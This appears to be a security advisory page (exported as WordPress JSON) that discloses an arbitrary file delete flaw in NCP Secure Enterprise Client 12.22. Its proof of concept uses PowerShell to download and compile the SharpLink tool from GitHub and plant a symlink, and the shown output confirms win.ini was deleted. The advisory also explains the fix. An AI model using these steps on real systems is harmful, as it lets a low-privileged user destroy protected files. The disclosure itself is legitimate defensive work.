{"id":19520,"date":"2022-07-29T14:06:00","date_gmt":"2022-07-29T12:06:00","guid":{"rendered":"https:\/\/herolab.usd.de\/__trashed-6\/"},"modified":"2023-03-03T12:53:36","modified_gmt":"2023-03-03T11:53:36","slug":"usd-2022-0002","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0002\/","title":{"rendered":"usd-2022-0002"},"content":{"rendered":"

[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.20.0\" _module_preset=\"default\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.17.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n

usd-2022-0002 | NCP Secure Enterprise Client - Arbitrary File Delete<\/h1>\n

Advisory ID:<\/strong> usd-2022-0002
Product:<\/strong> NCP Secure Enterprise Client
Affected Version:<\/strong> 12.22
Vulnerability Type:<\/strong> Arbitrary File Delete
Security Risk:<\/strong> High
Vendor URL:<\/strong> https:\/\/www.ncp-e.com\/
Vendor Status:<\/strong> Fixed<\/p>\n

Description<\/h3>\n

The NCP Secure Enterprise<\/em> client is a VPN<\/em> and networking application that is utilized by many organisations to connect workstations
to the cooperate network. The client supports a Support Assistant<\/em> feature, which allows low privileged user accounts to obtain diagnostic
information from the operating system. The corresponding information is gathered by high privileged services and stored within the directory
C:\\Users\\\\AppData\\Local\\Temp\\NcpSupport*<\/em>. Since this directory is fully user controlled, a low privileged user can create <\/em>symbolic links
within it. This can be used to trick the <\/em>NCP Secure Enterprise* client to delete arbitrary files on the operating system.<\/p>\n

Proof of Concept<\/h3>\n

To perform the arbitrary file delete, the following steps are necessary:<\/p>\n

    \n
  1. Start the Support Assistant<\/em> and wait until all diagnostic information has been collected.<\/li>\n
  2. Create a symbolic link<\/em> that originates from C:\\Users\\\\AppData\\Local\\Temp\\NcpSupport\\services.txt<\/strong>
    and points to the targeted file.<\/li>\n
  3. Abort the Support Assistant<\/em> and restart it.<\/li>\n<\/ol>\n

    After these steps have been executed, the targeted file should be deleted. In the following, we demonstrate
    each of the above mentioned steps.<\/p>\n

    First we start the Support Assistant<\/em> by using the tray icon of the NCP Secure Enterprise<\/em> client. The Support Assistant<\/em>
    feature can be found in the upper right of the graphical user interface within the Help<\/em> menu.<\/p>\n

    \"\"<\/p>\n

    After the diagnostic information has been collected, we create a symbolic link<\/em> pointing from C:\\Users\\\\AppData\\Local\\Temp\\NcpSupport\\services.txt<\/strong>
    to the well known C:\\Windows\\win.ini<\/strong> file.<\/p>\n

    \n
    <\/span>PS <\/span>C<\/span>:\\><\/span> $code<\/span> =<\/span> (<\/span>iwr <\/span>https<\/span>:\/\/<\/span>raw<\/span>.<\/span>githubusercontent<\/span>.<\/span>com<\/span>\/<\/span>usdAG<\/span>\/<\/span>SharpLink<\/span>\/<\/span>main<\/span>\/<\/span>SharpLink<\/span>.<\/span>cs<\/span>).<\/span>content<\/span>
    PS <\/span>C<\/span>:\\><\/span> Add-Type<\/span> $code<\/span>
    PS <\/span>C<\/span>:\\><\/span> $s<\/span> =<\/span> New-Object<\/span> de<\/span>.<\/span>usd<\/span>.<\/span>SharpLink<\/span>.<\/span>Symlink<\/span>(<\/span>\"C:\\Users\\<USER>\\AppData\\Local\\Temp\\NCPSupport\\services.txt\"<\/span>,<\/span> \"C:\\Windows\\win.ini\"<\/span>)<\/span>
    PS <\/span>C<\/span>:\\><\/span> $s<\/span>.<\/span>Open<\/span>()<\/span>
    [!]<\/span> Junction<\/span> directory<\/span> C<\/span>:\\<\/span>Users<\/span>\\<<\/span>USER<\/span>>\\<\/span>AppData<\/span>\\<\/span>Local<\/span>\\<\/span>Temp<\/span>\\<\/span>NCPSupport<\/span> is<\/span> not<\/span> empty<\/span>.<\/span> Delete<\/span> files<\/span>?<\/span> (<\/span>y<\/span>\/<\/span>N<\/span>)<\/span> y<\/span>
    [+]<\/span> Creating<\/span> Junction<\/span>:<\/span> C<\/span>:\\<\/span>Users<\/span>\\<<\/span>USER<\/span>>\\<\/span>AppData<\/span>\\<\/span>Local<\/span>\\<\/span>Temp<\/span>\\<\/span>NCPSupport<\/span> -><\/span> \\<\/span>RPC<\/span> CONTROL<\/span>
    [+]<\/span> Creating<\/span> DosDevice<\/span>:<\/span> Global<\/span>\\<\/span>GLOBALROOT<\/span>\\<\/span>RPC<\/span> CONTROL<\/span>\\<\/span>services<\/span>.<\/span>txt<\/span> -><\/span> \\??\\<\/span>C<\/span>:\\<\/span>Windows<\/span>\\<\/span>win<\/span>.<\/span>ini<\/span>
    [+]<\/span> Symlink<\/span> setup<\/span> successfully<\/span>.<\/span><\/pre>\n<\/div>\n
    Now the Support Assistant<\/em> is aborted and restarted. After this action has been performed, the win.ini<\/strong> does no longer exist.<\/p>\n
    \n
    <\/span>PS <\/span>C<\/span>:\\><\/span> dir <\/span>C<\/span>:\\<\/span>Windows<\/span>\\<\/span>win<\/span>.<\/span>ini<\/span>
    dir <\/span>:<\/span> Der<\/span> Pfad<\/span> \"C:\\Windows\\win.ini\"<\/span> kann<\/span> nicht<\/span> gefunden<\/span> werden<\/span>,<\/span> da<\/span> er<\/span> nicht<\/span> vorhanden<\/span> ist<\/span>.<\/span>
    In<\/span> Zeile<\/span>:<\/span>1<\/span> Zeichen<\/span>:<\/span>1<\/span>
    +<\/span> dir <\/span>C<\/span>:\\<\/span>Windows<\/span>\\<\/span>win<\/span>.<\/span>ini<\/span>
    +<\/span> ~~~~~~~~~~~~~~~~~~~~~~<\/span>\n    +<\/span> CategoryInfo<\/span>          :<\/span> ObjectNotFound<\/span>:<\/span> (<\/span>C<\/span>:\\<\/span>Windows<\/span>\\<\/span>win<\/span>.<\/span>ini<\/span>:<\/span>String<\/span>)<\/span> [<\/span>Get-ChildItem<\/span>],<\/span> ItemNotFoundException<\/span>\n    +<\/span> FullyQualifiedErrorId<\/span> :<\/span> PathNotFound<\/span>,<\/span>Microsoft<\/span>.<\/span>PowerShell<\/span>.<\/span>Commands<\/span>.<\/span>GetChildItemCommand<\/span><\/pre>\n<\/div>\n
    Fix<\/h3>\n
    It is assumed that the NCP Secure Enterprise<\/em> client checks for already existing diagnostic files before starting
    the Support Assistant<\/em> and attempts to delete them. This delete operation occurs with high privileges, resulting
    in the vulnerability. Instead, the delete operation should be performed while impersonating the invoking user account.
    This prevents the deletion of files the invoking user has insufficient permissions for.<\/p>\n
    References<\/h3>\n